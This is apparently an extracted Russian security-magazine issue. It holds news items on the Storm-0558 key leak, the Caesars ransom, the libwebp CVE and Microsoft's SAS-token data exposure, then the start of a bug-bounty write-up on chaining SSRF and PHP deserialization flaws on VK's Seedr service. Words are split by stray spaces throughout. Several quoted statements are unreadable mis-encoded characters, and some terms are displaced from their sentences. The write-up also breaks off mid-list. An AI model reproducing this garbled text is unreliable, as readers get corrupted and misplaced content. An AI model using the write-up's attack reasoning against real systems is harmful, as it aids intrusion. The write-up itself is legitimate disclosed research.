учрежде ния в США и стра нах Запад ной Евро пы,  в середи не
июля 2023 года.

ста ло извес тно

Тог да сооб щалось, что в середи не мая зло умыш ленни кам уда лось
получить дос туп к учет ным записям Outlook, при над лежащим при мер- 
но 25 орга низа циям, а так же к некото рым учет ным записям поль зовате лей,
которые, веро ятно, были свя заны с эти ми орга низа циями. Наз вания пос тра- 
дав ших орга низа ций и госуч режде ний не были рас кры ты. Извес тно лишь, что
в чис ле пос тра дав ших Гос деп США и Минис терс тво тор говли стра ны.

Как объ ясня ли в Microsoft, для этой ата ки зло умыш ленни ки исполь зовали
токены аутен тифика ции, под делан ные с помощью крип тогра фичес кого клю ча
MSA (Microsoft account consumer signing key), который исполь зует ся для под- 
писания токенов. Бла года ря 0-day-проб леме, свя зан ной с валида цией
в GetAccessTokenForResourceAPI, хакеры смог ли под делать чужие под писан- 
ные токены Azure Active Directory и выдать себя за сво их жертв.

При этом ана лити ки ком пании Wiz, спе циали зиру ющей ся на облачной
безопас ности, , что проб лема зат ронула вооб ще все при ложе ния
Azure AD, работа ющие с Microsoft OpenID v2.0. Дело в том, что укра ден ный
ключ мог под писать любой токен дос тупа OpenID v2.0 для лич ных учет ных
записей (нап ример, Xbox, Skype) и муль титенан тных при ложе ний Azure AD
при опре делен ных усло виях.

за явля ли

В ответ на эти обви нения иссле дова телей пред ста вите ли Microsoft заяви- 
ли, что ком пания отоз вала все клю чи MSA, что бы гаран тировать, что зло- 
умыш ленни ки не име ют дос тупа к дру гим ском про мети рован ным клю чам (что
пол ностью пре дот вра щает любые попыт ки соз дания новых токенов).

Так же под черки валось, что пос ле анну лиро вания укра ден ного клю ча спе- 
циалис ты Microsoft не выяви ли допол нитель ных доказа тель ств, ука зыва ющих
на несан кци они рован ный дос туп к учет ным записям кли ентов с исполь- 
зовани ем того же метода под делки токенов.

Па рал лель но выяс нилось, что до это го инци ден та воз можнос ти вес ти жур- 
налы были дос тупны толь ко кли ентам Microsoft, которые опла тили соот ветс- 
тву ющую лицен зию Purview Audit (Premium). Из-за это го Microsoft стол кну лась
с серь езной кри тикой со сто роны ИБ-сооб щес тва, и экспер ты заяви ли, что
сама Microsoft мешала орга низа циям опе ратив но обна ружить ата ки Storm-
0558.

В резуль тате под дав лени ем сооб щес тва и Агентства по кибер безопас- 
ности и защите инфраструк туры США (CISA) ком пания сог ласилась бес плат- 
но рас ширить дос туп к дан ным облачных жур налов, что бы защит ники мог ли
обна ружи вать подоб ные попыт ки взло ма в будущем.

Но все это вре мя в Microsoft не объ ясня ли, каким обра зом такой важ ный
ключ MSA вооб ще мог ока зать ся в руках хакеров.

Как теперь рас ска зали в ком пании, рас сле дова ние инци ден та выяви ло,
что ключ MSA попал в ава рий ный дамп, соз данный пос ле сбоя сис темы,
еще в апре ле 2021 года.

По сло вам пред ста вите лей Microsoft, обыч но такие клю чи доверя ют толь ко
избран ным сот рудни кам, про шед шим про вер ку на бла гона деж ность, и лишь
в том слу чае, если они исполь зуют выделен ные рабочие стан ции, защищен- 
ные мно гофак торной аутен тифика цией и исполь зовани ем аппа рат ных
токенов безопас ности.

При чем ради безопас ности в этой сре де не допус кает ся даже исполь- 
зование элек трон ной поч ты, кон ференц-свя зи и дру гих средств для сов мес- 
тной работы, ведь это наибо лее рас простра нен ные век торы для атак
с исполь зовани ем мал вари и фишин га. Кро ме того, эта сре да отде лена
от осталь ной сети Microsoft, где сот рудни ки име ют дос туп к элек трон ной поч- 
те и про чим инс тру мен там.

Нес мотря на то что ава рий ный дамп не дол жен содер жать клю чи под писи,
неиз вес тная ошиб ка (которая уже исправ лена), свя зан ная с сос тоянием гон- 
ки, при вела к тому, что ключ попал в дамп, но это го ник то не заметил из-за
дру гой ошиб ки (тоже уже исправ ленной). Поз же этот дамп был перене сен
из изо лиро ван ной сети ком пании в кор поратив ную сре ду отладки, дос тупную
из интерне та.

В ито ге зло умыш ленни ки обна ружи ли тот самый ключ пос ле взло ма кор- 
поратив ной учет ной записи неназ ванно го инже нера Microsoft, который имел
дос туп к этой сре де отладки. Сооб щает ся, что взлом был осу щест влен
с помощью «вре донос ного ПО, похища юще го токены».

«
»

«Èç�çà ïîëèòè êè õðà íåíèÿ æóð íàëîâ ó íàñ íåò ëîãîâ ñ êîí êðåò íûìè
äîêàçà òåëü ñòâà ìè êðà æè äàí íûõ çëî óìûø ëåííè êîì, íî ýòî áûë íàèáî- 
ëåå âåðî ÿòíûé ìåõàíèçì, ñ ïîìîùüþ êîòîðî ãî çëî óìûø ëåííè êè ìîã- 
ëè ïîëó÷èòü êëþ÷, — ñîîá ùàåò Microsoft. — Íàøè ìåòîäû ñêà íèðî- 
âàíèÿ íå îáíà ðóæè ëè ïðè ñóòñ òâèÿ çëî óìûø ëåííè êîâ, íî ýòà ïðîá ëåìà
óæå èñïðàâ ëåíà».

Так же в сооб щении ком пании объ ясни ли еще одну «загад ку»: как прос рочен- 
ный пот ребитель ский ключ мог исполь зовать ся для под делки токенов важ ных
кор поратив ных при ложе ний. Дело в том, что в 2018 году ком пания Microsoft

 новый фрей мворк, который работал как с пот ребитель ски ми, так
и с кор поратив ными облачны ми при ложе ниями. Одна ко еще одна ошиб ка
помеша ла кор рек тной работе прог рам мно го интерфей са, который пред- 
назна чал ся для крип тогра фичес кой про вер ки того, какой ключ исполь зовать
для кор поратив ных учет ных записей, а какой — для пот ребитель ских.

пред ста вила

Тог да ком пания обно вила свою докумен тацию и биб лиоте ки, что бы раз- 
работ чики при ложе ний мог ли исполь зовать этот эндпо инт для обес печения
Single Sign-On. Но Microsoft не обес печила в этих биб лиоте ках кор рек тных
авто мати чес ких про верок, которые мог ли бы гаран тировать, что, нап ример,
кор поратив ный поль зователь не прой дет валида цию с исполь зовани ем пот- 
ребитель ско го клю ча.

И даже инже неры самой Microsoft, начав шие исполь зовать этот эндпо инт
в 2022 году, тоже не осоз навали, что над лежащие про вер ки отсутс тву ют.

« »
«Òàêèì îáðà çîì, ïî÷ òîâàÿ ñèñ òåìà ïðè íèìà ëà çàï ðîñ íà êîð ïîðàòèâ-
íóþ ïî÷ òó, èñïîëü çóÿ òîêåí áåçîïàñ íîñòè, ïîä ïèñàí íûé ïîò ðåáèòåëü- 
ñêèì êëþ ÷îì», — ãëà ñèò îò÷åò îá èíöè äåí òå.

Под черки вает ся, что эту проб лему тоже уже устра нили.
Ин терес но, что Microsoft упор но избе гает сло ва «уяз вимость» при опи- 

сании инци ден та, свя зан ного с ата ками Storm-0558. Вмес то это го ком пания
исполь зует сло во «проб лема». На прось бу жур налис тов объ яснить, что под- 
разуме вает ся под тер мином «проб лема», в ком пании отве тили: «Уяз- 
вимость — это спе цифи чес кий тер мин, и мы бы исполь зовали тер мин „уяз- 
вимость“, если бы он был умес тен. Под „проб лемой“ понима ются такие вещи,
как неп равиль ная кон фигура ция, ошиб ки опе рато ра и слу чай ные побоч ные
про дук ты дру гих дей ствий».

КИТАЙ ОБВИНЯЕТ США В ШПИОНАЖЕ

Ми нис терс тво государс твен ной безопас ности КНР опуб ликова ло офи циаль ное заяв ление,
в котором обви нило США во взло ме сер веров ком пании Huawei в 2009 году и про веде нии ряда
дру гих кибера так с целью хищения важ ных дан ных.

Как гла сит заяв ление, в 2022 году было обна руже но, что США «осу щес тви ли десят ки тысяч
вре донос ных атак», в том чис ле на Северо-Запад ный политех ничес кий уни вер ситет, кон тро- 
лиро вали десят ки тысяч сетевых устрой ств и в ито ге похити ли мно жес тво цен ных дан ных.

Так же аме рикан ские влас ти обви нили в том, что они при нуди ли мно жес тво тех нологи чес ких
ком паний к внед рению бэк доров в ПО и обо рудо вание и заручи лись помощью круп ных тех- 
нологи чес ких брен дов в воп росах монито рин га и кра жи дан ных.

→ «Уже дав но ни для кого не сек рет, что Соеди нен ные Шта ты дав но полага ются
на свои тех нологи чес кие пре иму щес тва для про веде ния круп номас штаб ной
слеж ки за стра нами по все му миру, вклю чая сво их союз ников, и осу щест вля ют
кибер кра жи.

В то же вре мя США изо всех сил ста рают ся изоб разить себя жер твой
кибера так, подс тре кая и при нуж дая дру гие стра ны при соеди нить ся к так
называ емой прог рамме „чис той сети“ под лозун гом под держа ния сетевой
безопас ности и в попыт ке устра нить китай ские ком пании с меж дународ ного
сетево го рын ка.

На самом деле „чис тая сеть“ — это ложь, а вот подав ление оппо нен тов и под- 
держа ние гегемо нии — прав да. В свя зи с этим китай ские офи циаль ные лица
неод нократ но при зыва ли Соеди нен ные Шта ты глу боко задумать ся, прек ратить
кибера таки и кра жу сек ретов со все го мира, а так же перес тать вво дить общес- 
твен ность в заб лужде ние все воз можной лож ной информа цией», — заяв ляют
в Минис терс тве государс твен ной безопас ности КНР.

КРУПНАЯ СЕТЬ
КАЗИНО ЗАПЛАТИЛА
ХАКЕРАМ
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Ком пания Caesars Entertainment, называ ющая себя круп ней шей сетью казино
в США с самой мас штаб ной прог раммой лояль нос ти в отрасли, сооб щила,
что пос тра дала от кибера таки и в ито ге зап латила хакерам выкуп, что бы избе- 
жать утеч ки дан ных кли ентов. Иссле дова тели счи тают, что за этим взло мом
мог ла сто ять груп пиров ка Scattered Spider, недав но ата ковав шая MGM
Resorts.

Сог ласно докумен там, которые Caesars Entertainment подала в Комис сию
по цен ным бумагам и бир жам США, ата ка была обна руже на 7 сен- 
тября 2023 года. В ходе рас сле дова ния инци ден та выяс нилось, что зло умыш- 
ленни ки похити ли БД прог раммы лояль нос ти ком пании, в чис ле про чего
содер жавшую дан ные водитель ских прав и номера соци аль ного стра хова ния
кли ентов.

Сам инци дент опи сыва ется как «свя зан ная с соци аль ной инже нери ей ата- 
ка на пос тавщи ка аут сорсин говой ИТ-под дер жки» и не пов лиял на опе рации
ком пании и работу с кли ента ми.

Так же в докумен тах упо мина ется, что ком пания зап латила зло умыш ленни- 
кам выкуп, что бы не допус тить утеч ки похищен ных дан ных. По информа ции
СМИ, Caesars Entertainment вып латила хакерам при мер но 15 мил лионов дол- 
ларов, при чем изна чаль но зло умыш ленни ки тре бова ли у ком пании вдвое
боль ше — 30 мил лионов дол ларов.

При этом в Caesars Entertainment приз нают, что не могут пре дос тавить
никаких гаран тий отно ситель но даль нейших дей ствий зло умыш ленни ков. То
есть не исклю чено, что хакеры все рав но могут про дать или опуб ликовать
в сети похищен ную информа цию о кли ентах.

«
»

«Ìû ïðåä ïðè íÿëè øàãè, ÷òî áû óáå äèòü ñÿ, ÷òî ïîõèùåí íûå äàí íûå
óäà ëåíû íåàâ òîðèçî âàí íûì ñóáú åêòîì, íî íå ìîæåì ãàðàí òèðîâàòü
ðåçóëü òàò. Ìû ñëå äèì çà ñèòó àöèåé â èíòåðíå òå è (ïîêà) íå îáíà- 
ðóæè ëè íèêàêèõ ïðèç íàêîâ òîãî, ÷òî ýòè äàí íûå ðàñ ïðîñòðà íÿþò äàëü- 
øå, îïóá ëèêîâà íû (â îòêðû òîì äîñ òóïå) èëè èñïîëü çîâàíû íå ïî íàç- 
íà÷åíèþ», — ãëà ñÿò áóìàãè.

Хо тя в сво ем отче те Caesars Entertainment не свя зыва ет эту ата ку
с какой-либо кон крет ной хак груп пой, за этим инци ден том может сто ять груп- 
пиров ка Scattered Spider, которую так же обоз нача ют как 0ktapus (Group-IB),
UNC3944 (Mandiant) и Scatter Swine (Okta).

По дан ным иссле дова телей, эта груп пиров ка в основном исполь зует соци- 
аль ную инже нерию для взло ма кор поратив ных сетей. Так, зло умыш ленни ки
выда ют себя за спе циалис тов тех ничес кой под дер жки (что бы выманить
у поль зовате лей учет ные дан ные), исполь зуют ата ки на под мену SIM-кар ты
(что бы зах ватить кон троль над нуж ным телефон ным номером), а так же
фишинг и дру гие методы (что бы обой ти мно гофак торную аутен тифика цию).

Ин терес но, что эту же груп пиров ку  с недав ней ата кой на MGM
Resorts, которая вла деет сетями оте лей, курор тов и казино по все му миру.
Этот инци дент при вел к отклю чению мно гих компь ютер ных сис тем ком пании,
в том чис ле сай тов круп ней ших оте лей Лас-Вегаса и Нью-Йор ка, сис тем бро- 
ниро вания и некото рых услуг в казино.

свя зыва ют

ЛУЧШИЕ ЯЗЫКИ ПРОГРАММИРОВАНИЯ ПО ВЕРСИИ IEEE
SPECTRUM
Жур нал IEEE Spectrum, изда ваемый Инсти тутом инже неров элек тро тех ники и элек тро ники
(IEEE), уже в десятый раз сос тавил собс твен ный рей тинг популяр ности язы ков прог рамми рова- 
ния. В 2023 году экспер ты сно ва изу чили вли яние раз ных язы ков на сооб щес тво, а так же учли
их вос тре бован ность и инте рес к кон крет ным язы кам со сто роны раз работ чиков.

Пер вое мес то по-преж нему оста ется за , который удер жива ет лидиру ющую позицию
за счет более мел ких и более спе циали зиро ван ных язы ков, а так же все чаще исполь зует ся,
нап ример, в работе над ИИ.

Python

Так же в пер вую пятер ку популяр ных язы ков вхо дят , ,  и .Java C++ C JavaScript

При этом наибо лее популяр ным навыком при поис ке работы стал вов се не Python, а . Дело
в том, что работо дате ли пред почита ют, что бы соис катель раз бирал ся в  и вла дел им в тан- 
деме с каким-либо язы ком прог рамми рова ния (нап ример, Java или C++).

SQL
SQL

GOOGLE КРИТИКУЮТ
ИЗ-ЗА БАГА
В LIBWEBP

В кон це сен тября ком пания Google, не делая никаких анон сов, перес мотре ла
рей тинг уяз вимос ти CVE-2023-4863, свя зан ной с опен сор сной биб лиоте кой
libwebp. Теперь, как и пре дуп режда ли мно гие ИБ-экспер ты, эта проб лема,
зат рагива ющая тысячи при ложе ний, оце нива ется как кри тичес кая (10 бал лов
из 10 воз можных по шка ле CVSS) и име ет собс твен ный иден тифика тор
CVE — CVE-2023-5129.

Из началь но ком пания  дан ные об этой уяз вимос ти в Chrome
в середи не сен тября, прис воив ей иден тифика тор CVE-2023-4863. Тог да
ком пания не упо мина ла о свя зи это го бага с биб лиоте кой libwebp, раз- 
работан ной внут ри самой Google для обра бот ки изоб ражений WebP.

рас кры ла

Вско ре об устра нении этой же проб лемы  экспер ты Apple
Security Engineering and Architecture (SEAR) и ком пании Citizen Lab (здесь баг
отсле живал ся как CVE-2023-41064), а так же раз работ чики . Ста- 
ло понят но, что речь идет об одной и той же уяз вимос ти, которую ком пании
почему-то исправ ляют порознь, и о ско орди ниро ван ном рас кры тии
информа ции речи явно не идет.

от читались

Mozilla Firefox

Спе циалис ты Citizen Lab и вов се заяв ляли, что проб лема CVE-2023-
41064 при меня лась зло умыш ленни ками как часть цепоч ки zero-click-экс пло- 
итов для iMessage, которая получи ла общее наз вание BLASTPASS.

Про исхо дящее выз вало немалое замеша тель ство в ИБ-сооб щес тве, а у
спе циалис тов по информа цион ной безопас ности воз никло мно го воп росов
к Google, которая по неиз вес тным при чинам решила не свя зывать эту ошиб ку
с libwebp, тем самым пос тавив под угро зу тысячи при ложе ний, исполь зующих
эту биб лиоте ку.

Де ло в том, что libwebp исполь зует ся в сос таве прак тичес ки каж дого при- 
ложе ния, ОС и дру гих биб лиотек, которые работа ют с изоб ражени ями фор- 
мата WebP. В пер вую оче редь это отно сит ся к фрей мвор ку Electron, который
при меня ется в Chrome и мно гих дру гих при ложе ниях для дес ктоп ных
и мобиль ных устрой ств. То есть перед багом ока зались уяз вимы мно гочис- 
ленные про екты, исполь зующие libwebp, вклю чая Microsoft Teams, 1Password,
Signal, Safari, Mozilla Firefox, Microsoft Edge, Opera и натив ные бра узе ры
для Android.

В ито ге ком пания под вер глась кри тике со сто роны экспер тов и СМИ,
которые под черки вали, что умал чивание о проб леме в libwebp при ведет лишь
к ненуж ным задер жкам в выходе пат чей, а зло умыш ленни ки тем вре менем
будут выпол нять вре донос ный код, прос то показы вая поль зовате лям вре- 
донос ные изоб ражения WebP.

В кон це сен тября ком пания Google, не прив лекая лиш него вни мания,
наконец внес ла изме нения в свой , пос вящен ный
изна чаль ной проб леме CVE-2023-4863.

бюл летень безопас ности

Ес ли ранее в ком пании сооб щали, что проб лема свя зана с перепол нени- 
ем буфера хипа WebP в Chrome, а сре ди зат ронутых про дук тов упо минал ся
толь ко сам бра узер Google, теперь Google выпус тила новое сооб щение,
в котором пред ста вила более деталь ное опи сание уяз вимос ти. Проб леме
был прис воен новый иден тифика тор — .CVE-2023-5129

Те перь зат ронутая проб лемой биб лиоте ка libwebp наконец была упо мяну-
та офи циаль но, а рей тинг уяз вимос ти повышен до мак сималь ного — 10 бал- 
лов из 10 воз можных по шка ле CVSS (про тив 8,8 бал ла, ранее прис воен ных
багу CVE-2023-4863).

Как объ ясня ется теперь, баг был свя зан с алго рит мом Хаф фма на, который
исполь зует ся libwebp для lossless-сжа тия, и поз воля ет зло умыш ленни кам
выпол нять запись out-of-bounds с исполь зовани ем вре донос ных HTML-стра- 
ниц.

КОЛИЧЕСТВО ЗАБЛОКИРОВАННЫХ САЙТОВ ВЫРОСЛО
НА 85%
Рос комнад зор под вел ито ги полуго дия по бло киров кам сай тов, рас простра няющих зап рещен- 
ную в РФ информа цию. За пери од год к году было заб локиро вано на  боль ше сай тов и на

 — отдель ных матери алов. В ведомс тве говорят, что рос ту количес тва бло киро вок спо собс- 
тво вало рас ширение осно ваний для них в прош лом году.

85%
10%

Все го в пер вом полуго дии по тре бова нию Рос комнад зора в Рос сии заб локиро вано или уда лено
более  сай тов с зап рещен ной информа цией, а так же око ло  отдель ных
матери алов.

885  000 1  100  000

СОТРУДНИК
MICROSOFT СЛИЛ
В СЕТЬ 38 ТБАЙТ
ДАННЫХ

Ана лити ки ком пании Wiz обна ружи ли мас штаб ную утеч ку, допущен ную одним
из сот рудни ков Microsoft. Обновляя свя зан ные с ИИ матери алы на GitHub,
сот рудник слу чай но выложил в откры тый дос туп 38 Тбайт кон фиден циаль ных
дан ных, сре ди которых были при ват ные клю чи, пароли, а так же боль- 
ше 30 тысяч внут ренних сооб щений из Microsoft Teams.

«
»

«Ìû îáíà ðóæè ëè íà GitHub óïðàâëÿ åìûé Microsoft ðåïîçè òîðèé robust-
models-transfer. Ýòîò ðåïîçè òîðèé ïðè íàä ëåæèò èññëå äîâà òåëü ñêî ìó
ïîä ðàçäå ëåíèþ Microsoft ïî èñêóññ òâåí íîìó èíòåëëåê òó, è åãî öåëü —
ïðå äîñ òàâëå íèå îòêðû òûõ èñõîäíûõ êîäîâ è ÈÈ�ìîäåëåé äëÿ ðàñ- 
ïîçíà âàíèÿ èçîá ðàæåíèé», — ðàñ ñêà çûâà þò èññëå äîâà òåëè.

Ока залось, что еще в 2020 году Microsoft исполь зовала для переда чи дан ных
токены Azure SAS (Shared Access Signature), которые поз воля ют делить ся
информа цией из акка унтов Azure Storage. Хотя уро вень дос тупа может быть
огра ничен толь ко кон крет ными фай лами, в этом слу чае ссыл ка была нас тро-
ена неп равиль но — на общий дос туп ко всей учет ной записи, вклю- 
чая 38 Тбайт лич ных фай лов.

«
»

«Ýòîò URL-àäðåñ ïðå äîñ òàâëÿë äîñ òóï íå òîëü êî ê îïåí ñîð ñíûì
ìîäåëÿì äëÿ îáó ÷åíèÿ ÈÈ. Îí áûë íàñ òðî åí òàêèì îáðà çîì, ÷òî äàâàë
ïðà âà íà äîñ òóï êî âñåé ó÷åò íîé çàïèñè Azure Storage, ÷òî ïî îøèá êå
ïðè âåëî ê ðàñ êðû òèþ ëè÷ íûõ äàí íûõ», — ãîâîðÿò ïðåä ñòà âèòå ëè Wiz.

Слу чай но ском про мети рован ная учет ная запись содер жала 38 Тбайт
информа ции, вклю чая резер вные копии с пер сональ ных компь юте ров сот- 
рудни ков Microsoft.

«
»

«Ðåçåð âíûå êîïèè ñîäåð æàëè êîí ôèäåí öèàëü íûå ëè÷ íûå äàí íûå,
âêëþ ÷àÿ ïàðîëè ê ñåð âèñàì Microsoft, ñåê ðåòíûå êëþ ÷è
è áîëåå 30 000 âíóò ðåííèõ ñîîá ùåíèé Microsoft Teams îò 359 ñîò- 
ðóäíè êîâ Microsoft», — ïîä ñ÷è òàëè èññëå äîâà òåëè.

Бо лее того, токен ока зал ся неп равиль но скон фигури рован и в резуль тате
пре дос тавлял пра ва не толь ко чте ния, но давал всем жела ющим (вклю чая
потен циаль ных зло умыш ленни ков) воз можность уда лять и переза писы вать
сущес тву ющие фай лы.

«
»

«Çëî óìûø ëåííèê ìîã áû âíåä ðèòü âðå äîíîñ íûé êîä âî âñå
ÈÈ�ìîäåëè â ýòîé ó÷åò íîé çàïèñè Storage, è êàæ äûé ïîëü çîâàòåëü,
âïîñ ëåäñ òâèè äîâåðèâ øèé ñÿ GitHub-ðåïîçè òîðèþ êîì ïàíèè Microsoft,
îêà çàë ñÿ áû çàðàæåí», — ðàñ ñêà çàëè èññëå äîâà òåëè.

В сво ем отче те спе циалис ты Wiz отме чают, что токены SAS в целом пред став- 
ляют серь езную угро зу безопас ности (из-за отсутс твия монито рин га
и управле ния), а их исполь зование дол жно быть мак сималь но огра ниче но.
Экспер ты заяв ляют, что такие токены очень слож но отсле живать, пос коль ку
Microsoft не пре дос тавля ет цен тра лизо ван ного спо соба управле ния ими
в рам ках пор тала Azure. Кро ме того, токены мож но нас тро ить таким обра зом,
что «срок их дей ствия будет фак тичес ки веч ным, без вер хне го пре дела».

По дан ным Wiz, инже неры Microsoft анну лиро вали SAS-токен в течение
двух дней пос ле того, как им сооб щили об этой проб леме (в июне текуще го
года). Через месяц этот токен был заменен на GitHub.

В Microsoft сооб щили, что в ходе этой утеч ки не были рас кры ты дан ные
кли ентов и никакие внут ренние сер висы ком пании не под верга лись рис кам
из-за про изо шед шего.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Google уда ляет ссыл ки на пират ский кон тент из лич ных кол лекций Google Saved

«Умные» пояса вер ности сли вают пароли, email и мес тополо жение поль зовате лей

Ро уте ры Asus уяз вимы перед уда лен ным выпол нени ем кода

Ис сле дова тель исполь зовал Flipper Zero для Bluetooth-спа ма на iOS-устрой ства

Mozilla наз вала сов ремен ные авто «кош маром» с точ ки зре ния кон фиден циаль нос ти

В Google Play наш ли нес коль ко вре донос ных модов Telegram

Ата ка WiKI-Eve поз воля ет перех ватывать пароли через Wi-Fi

Ин форма цию об обхо де бло киро вок могут зап ретить с 1 мар та 2024 года

Ха керы про ник ли в сис темы Меж дународ ного уго лов ного суда

Груп пиров ка RansomedVC заяви ла, что взло мала все сис темы ком пании Sony

https://xakep.ru/2023/09/15/mgm-resorts-scattered-spider/
https://xakep.ru/2023/09/12/4th-chrome-0day/
https://xakep.ru/2023/09/08/apple-new-0days/
https://xakep.ru/2023/09/14/cve-2023-4863-mozilla/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4863
https://www.cve.org/CVERecord?id=CVE-2023-5129
https://xakep.ru/2023/09/01/google-saved-dmca/
https://xakep.ru/2023/09/04/chastity-cage-leak/
https://xakep.ru/2023/09/06/asus-rce/
https://xakep.ru/2023/09/07/flipper-zero-ios/
https://xakep.ru/2023/09/08/privacy-nightmare/
https://xakep.ru/2023/09/11/evil-telegram/
https://xakep.ru/2023/09/13/wiki-eve/
https://xakep.ru/2023/09/20/infomation-ban/
https://xakep.ru/2023/09/20/icc-hacked/
https://xakep.ru/2023/09/26/ransomedvc-sony/
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В этой статье я рас ска жу о том, как я свя зал
в цепоч ку нес коль ко проб лем безопас- 
ности с целью уда лен ного выпол нения кода
(RCE) на сер верах ком пании VK. Я опи сал
свои шаги в под робнос тях, что бы показать,
как иссле дова тель мыс лит во вре мя обна- 
руже ния необыч ных уяз вимос тей.

Pentest Award
В августе 2023 года прош ла церемо ния наг ражде ния  — пре мии
для спе циалис тов по тес тирова нию на про ник новение, которую учре дила
ком пания Awillix. Мы пуб лику ем луч шие работы из каж дой номина ции. Эта
статья — победи тель в номина ции «Про бив». Читай так же 

.

Pentest Award

рай тапы, заняв шие
вто рое, третье и чет вертое мес та

Не буду скры вать, я — фанат прог раммы баг-баун ти . Иног да
хол динг при обре тает новые ком пании, и прог рамма рас ширя ется, что дает
баг-хан терам неп лохой шанс соб рать «низ ко висящие фрук ты» — уяз вимос- 
ти, которые могут быть най дены без сущес твен ных зат рат вре мени и уси лий.

VK на HackerOne

По сво ему опы ту могу ска зать, что получить дос туп к чему-то, что до тебя
ник то не пытал ся взло мать, очень выгод но. На пло щад ке HackerOne есть воз- 
можность под писать ся на инте ресу ющую тебя прог рамму и получать
обновле ния о любых изме нени ях в пра вилах. Этим я и вос поль зовал ся, что бы
быть одним из пер вых, кто нач нет тес тировать недав но добав ленный сер вис.

В течение 2021 года я не очень активно хан тил и не сле дил за обновле- 
ниями в избран ной прог рамме. Имен но по этой при чине я про пус тил уве дом- 
ление о том, что плат форма Seedr, которая помога ет быс тро рас простра нять
видео в интерне те (сей час уже не дей ству ющая), была добав лена в ско уп.

Моя пер вая встре ча с Seedr сос тоялась в октябре 2021 года. Я начал тес- 
тировать и сра зу же обна ружил нес коль ко баналь ных XSS-уяз вимос тей,
но решил не сооб щать о них, так как шанс получить дуб ликат был слиш ком
высок.

В нас тоящее вре мя ты можешь прос мотреть рас кры тые отче ты дру гих
баг-хан теров и заметить, нас коль ко нетипич ные для сов ремен ных при ложе- 
ний уяз вимос ти они наш ли в Seedr:

;• RCE в .api/nr/report//download
;• SSRF + RCE через fastCGI в POST /api/nr/video

;• XSS Stored on https://seedr.ru
.• OS command injection on seedr.ru

По думав, что мой поезд ушел, я решил не тра тить силы на этот про ект и про- 
дол жил прок расти ниро вать.

ÍÀÕÎÄÊÀ, ÊÎÒÎÐÀß ÏÐÈÂËÅÊËÀ ÌÎÅ ÂÍÈÌÀÍÈÅ

Я вер нулся к тес тирова нию Seedr во вре мя декабрь ско го отпуска в дру гой
стра не, где с собой у меня был лишь рюк зак и ноут бук. Пос ле некото рого
вре мени пре быва ния в таких усло виях у меня про сыпа ется «баг-баун- 
ти-голод» и появ ляет ся желание най ти что-нибудь инте рес ное. Для разог рева
я обыч но воз вра щаюсь к уже зна комым сер висам и ста раюсь пос мотреть
на них све жим взгля дом.

На этот раз я уде лил боль ше вни мания раз ведке Seedr, а имен но поис ку
и перечис лению под доменов, ска ниро ванию пор тов, перебо ру веб-дирек- 
торий и так далее. К счастью, я нашел более заман чивые вещи: GitLab,
Grafana, нес коль ко хос тов API, cron-фай лы в веб-дирек тории, трас сиров ки
сте ка и мно гое дру гое. Чем боль ше точек вхо да находишь, тем выше шанс
отыс кать что-то инте рес ное. Хотя ни одна из находок не ока залась сто ящей
того, что бы о ней сооб щить, кое-что все же прив лекло мое вни мание.

В исходном HTML-коде стра ницы 

я заметил сле дующий ком мента рий:

https://api-stage.seedr.ru/player

https://player.seedr.ru/video?vid=cpapXGq50UY&post_id=
57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.
com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube 

Го тов пос порить, что более опыт ный читатель уже захотел изме нить GET-
параметр  на свой хост для получе ния вхо дяще го HTTP-соеди нения,
что я и сде лал. Но пос ле нес коль ких попыток не получил ни одно го отсту ка
и про дол жил экспе римен тировать с дру гими парамет рами.

config

Я открыл в бра узе ре вот такую ссыл ку:

https://player.seedr.ru/video?vid=cpapXGq50UY&post_id= 
57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.
com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube 

Заг лянув в код, я заметил, что метате ги запол нены по раз метке Open Graph
и содер жат информа цию о видео: наз вание, опи сание, превью и так далее.

Пос ле нес коль ких тес товых зап росов я понял, что GET-парамет ры 
и  не ока зыва ют сущес твен ного вли яния на ответ, поэто му упростил

URL до 

.

post_id
config

https://player.seedr.ru/video?
vid=cpapXGq50UY&hosting=youtube

Пред положив, что пле ер, ско рее все го, под держи вает не толь ко YouTube, я
изме нил GET-параметр  на  и .hosting coub vimeo

Итак, похоже, в зависи мос ти от зна чения GET-парамет ра  сер вер
с помощью PHP-фун кции  выпол няет HTTP-зап рос

к YouTube, Vimeo или Coub API, заг ружа ет метадан ные о видео (GET-параметр
), обра баты вает их и воз вра щает HTML-стра ницу пле ера с видео и запол- 

ненны ми по раз метке Open Graph метате гами.

hosting
file_get_contents()

vid

GET-параметр  явля ется точ кой инъ екции, так как он поз воля ет кон тро- 

лиро вать пос леднюю часть пути в фун кции  с помощью

сим волов обхо да пути ( ) и дру гих полез ных сим волов (?, #, @ и так
далее).

vid
file_get_contents()

/../

Что еще инте рес но, в слу чае с Vimeo сер вер дела ет зап рос к 

. И ока зыва ется, что при исполь зовании
рас ширения  в пути Vimeo воз вра щает не JSON, а сери али зован ные дан- 

ные!

http://
vimeo.com/api/v2/video/VID.php

.php

Я пред положил, что пос ле фун кции  сер вер десери- 

али зует ответ от Vimeo с помощью фун кции .

file_get_contents()
unserialize()

Ого, неуже ли у нас здесь небезо пас ная десери али зация? Безопас ная, пока
ответ кон тро лиру ет Vimeo.

ÂÎÇÌÎÆÍÛÅ ÑÖÅÍÀÐÈÈ

В тот момент у себя в голове я уже видел три воз можных сце нария ата ки:
1. Фаз зинг фун кции  с целью добить ся сле пой SSRF,

то есть выпол нить HTTP-зап рос на под кон троль ный мне ресурс и в теории
добить ся небезо пас ной десери али зации.

file_get_contents()

2. Най ти кон тро лиру емый ответ на  и добить ся небезо пас ной
десери али зации.

vimeo.com

3. Най ти откры тый редирект на  → SSRF → небезо пас ная
десери али зация.

vimeo.com

Пос ле нес коль ких часов раз личных модифи каций GET-парамет ра 

и локаль ного фаз зинга фун кции  я не нашел ничего
полез ного и парал лель но решил поделить ся всей име ющей ся информа цией
об этой наход ке с нес коль кими надеж ными товари щами.

vid
file_get_contents()

Итак, пер вый сце нарий не сра ботал, поэто му я перешел к сле дующе му —
кон тро лиру емо му отве ту на .vimeo.com

Эн дпо инт с кон тро лиру емым отве том дол жен отве чать сле дующим тре- 
бова ниям:

код отве та HTTP — 200 OK;•
